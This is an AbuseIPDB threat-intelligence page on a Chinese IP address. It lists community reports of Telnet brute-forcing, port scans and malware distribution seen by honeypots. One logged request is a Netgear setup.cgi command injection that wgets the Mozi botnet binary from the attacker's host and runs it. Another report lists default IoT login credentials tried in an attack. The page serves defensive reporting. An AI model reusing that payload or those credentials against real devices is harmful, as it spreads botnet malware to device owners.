JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 27.217.161.106

27.217.161.106

Recent Activity

24 reports found in our database

78% ▲ ▲ ▲ Critical

Abuse confidence score ?

ISP

China Unicom Shandong province network

Usage Type

Fixed Line ISP

ASN

AS4837

Domain Name

chinaunicom.cn

Country

🇨🇳 China

City

Qingdao, Shandong

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

Top Reporter Countries (Last 60 Days)

Example preview

Report Categories (Last 60 Days)

Example preview

Reports Activity

Example preview

Account required for the enhanced features Log in Sign up

IP Abuse Reports for 27.217.161.106:

This IP address has been reported a total of 24 times from 14 distinct sources. 27.217.161.106 was first reported on August 20th 2026, and the most recent report was 10 hours ago. In the last 60 days, the top reporter locations were: Turkey with 7 reports; United States of America with 7 reports; Germany with 5 reports. The most common categories in these recent reports were: Port Scan 13 times; Brute-Force 12 times; IoT Targeted 9 times; Hacking 8 times; SSH 1 time; Other 2 times.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇹🇷 oalver	2026-09-06 19:34:37 (10 hours ago)	Detected by SiberKapan threat intelligence platform (siberkapan.org). Attack types: honeypot_telnet, ... show more Detected by SiberKapan threat intelligence platform (siberkapan.org). Attack types: honeypot_telnet, malware_distribution. Sources: honeypot, external. First seen: 2026-08-22. Risk score: 100/100. show less	Brute-Force IoT Targeted
🇷🇸 Smel	2026-09-06 09:45:30 (20 hours ago)	MH/MP Probe, Scan, Hack -	Port Scan Hacking
🇫🇮 iamxorum	2026-09-06 08:49:28 (21 hours ago)	IoT / Telnet botnet probing detected on port 23. Log: 2026-09-06T08:49:28.458198+00:00 XRM-01 kernel ... show more IoT / Telnet botnet probing detected on port 23. Log: 2026-09-06T08:49:28.458198+00:00 XRM-01 kernel: [45203.447352] [TRAP:TELNET] IN=eth0 OUT= MAC=REDACTED SRC=27.217.161.106 DST=REDACTED LEN=40 TOS=0x00 PREC=0x00 TTL=47 ID=22646 PROTO=TCP SPT=1936 DPT=23 WINDOW=61622 RES=0x00 SYN URGP=0 ... show less	Port Scan IoT Targeted
🇺🇸 RAP	2026-09-06 05:57:42 (1 day ago)	2026-09-06 05:57:42 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
🇹🇷 oalver	2026-09-04 13:19:35 (2 days ago)	Detected by SiberKapan threat intelligence platform (siberkapan.org). Attack types: honeypot_telnet, ... show more Detected by SiberKapan threat intelligence platform (siberkapan.org). Attack types: honeypot_telnet, malware_distribution. Sources: honeypot, external. First seen: 2026-08-22. Risk score: 100/100. show less	Brute-Force IoT Targeted
🇪🇸 whatda	2026-09-04 04:24:25 (3 days ago)	TELNET unauthorized access: "start"	IoT Targeted Brute-Force
🇩🇪 strxmpp	2026-09-03 19:08:21 (3 days ago)	27.217.161.106 - - [03/Sep/2026:21:08:20 +0200] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cm ... show more 27.217.161.106 - - [03/Sep/2026:21:08:20 +0200] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://27.217.161.106:41462/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 491 "-" "-" ... show less	Bad Web Bot
🇩🇪 Tsumugi Kotobuki	2026-09-03 18:22:38 (3 days ago)	Port Scan on Honeypot \| Ports: 23/Telnet \| Proto: TCP(1) \| Flags: all SYN \| TTL: 50 \| Len: 44B \| Win ... show more Port Scan on Honeypot \| Ports: 23/Telnet \| Proto: TCP(1) \| Flags: all SYN \| TTL: 50 \| Len: 44B \| Win: 61622(1) \| F2B/ufw-honeypot@2026-09-03T18:22:38Z show less	Port Scan Hacking
🇹🇷 oalver	2026-09-03 08:43:38 (3 days ago)	Detected by SiberKapan threat intelligence platform (siberkapan.org). Attack types: honeypot_telnet, ... show more Detected by SiberKapan threat intelligence platform (siberkapan.org). Attack types: honeypot_telnet, malware_distribution. Sources: honeypot, external. First seen: 2026-08-22. Risk score: 100/100. show less	Brute-Force IoT Targeted
🇺🇸 rjdefrancisco	2026-09-03 07:06:17 (3 days ago)	Unwanted traffic detected by honeypot on September 02, 2026: port scans (23 port 23 scans).	Port Scan Brute-Force SSH
🇹🇷 oalver	2026-09-01 20:38:37 (5 days ago)	Detected by SiberKapan threat intelligence platform (siberkapan.org). Attack types: honeypot_telnet, ... show more Detected by SiberKapan threat intelligence platform (siberkapan.org). Attack types: honeypot_telnet, malware_distribution. Sources: honeypot, external. First seen: 2026-08-22. Risk score: 100/100. show less	Brute-Force IoT Targeted
🇵🇱 sefinek.net	2026-09-01 06:17:12 (5 days ago)	Honeypot hit: Brute-force attack detected on 23/TELNET • Credentials: root:hme12345, 666666:666666, ... show more Honeypot hit: Brute-force attack detected on 23/TELNET • Credentials: root:hme12345, 666666:666666, root:admin, root:1111, admin:conexant, admin:12345678, root:adminpass, admin:ho4uku6at, administrator:administrator, root:12345, root:1234, root:zlxx, ftp:ftp, 1234:1234, gdcuadmin:gdcuadmin, root:klv1234, admin:admin1234, root:1234567890, root:2011vesta, root:Fireitup, root:xc3511, telecomadmin:nE7jA%5m, admin:123456 • Number of login attempts: 23 • 18 command(s) were executed during the session Reported by: https://github.com/sefinek/T-Pot-To-AbuseIPDB show less	Brute-Force Hacking
🇹🇷 oalver	2026-09-01 03:44:18 (6 days ago)	Detected by SiberKapan threat intelligence platform (siberkapan.org). Attack types: malware_distribu ... show more Detected by SiberKapan threat intelligence platform (siberkapan.org). Attack types: malware_distribution, honeypot_telnet. Sources: external, honeypot. First seen: 2026-08-22. Risk score: 100/100. show less	Brute-Force IoT Targeted
🇺🇸 MPL	2026-08-31 15:06:28 (6 days ago)	tcp/8443 (6 or more attempts)	Port Scan
🇹🇷 oalver	2026-08-29 21:32:16 (1 week ago)	Detected by SiberKapan threat intelligence platform (siberkapan.org). Attack types: malware_distribu ... show more Detected by SiberKapan threat intelligence platform (siberkapan.org). Attack types: malware_distribution, honeypot_telnet. Sources: external, honeypot. First seen: 2026-08-22. Risk score: 100/100. show less	Brute-Force IoT Targeted

Showing 1 to 15 of 24 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 2604:a880:400:d1:0:4:efab:1

🇨🇳 117.81.212.152

🇺🇸 69.33.113.134

🇱🇹 62.60.130.201

🇬🇧 35.203.210.115

🇳🇱 203.55.131.5

🇪🇨 200.50.235.71

🇹🇼 198.235.24.113

🇧🇷 186.205.4.38

🇨🇦 159.89.124.52

🇸🇪 155.4.209.51

🇺🇸 152.32.149.35

🇮🇳 110.44.1.12

🇧🇬 109.160.32.82

🇧🇬 109.160.32.17

🇨🇳 58.222.244.226

🇵🇷 38.92.206.100

🇹🇼 35.234.36.181

🇬🇧 35.203.211.53

🇧🇪 198.235.24.207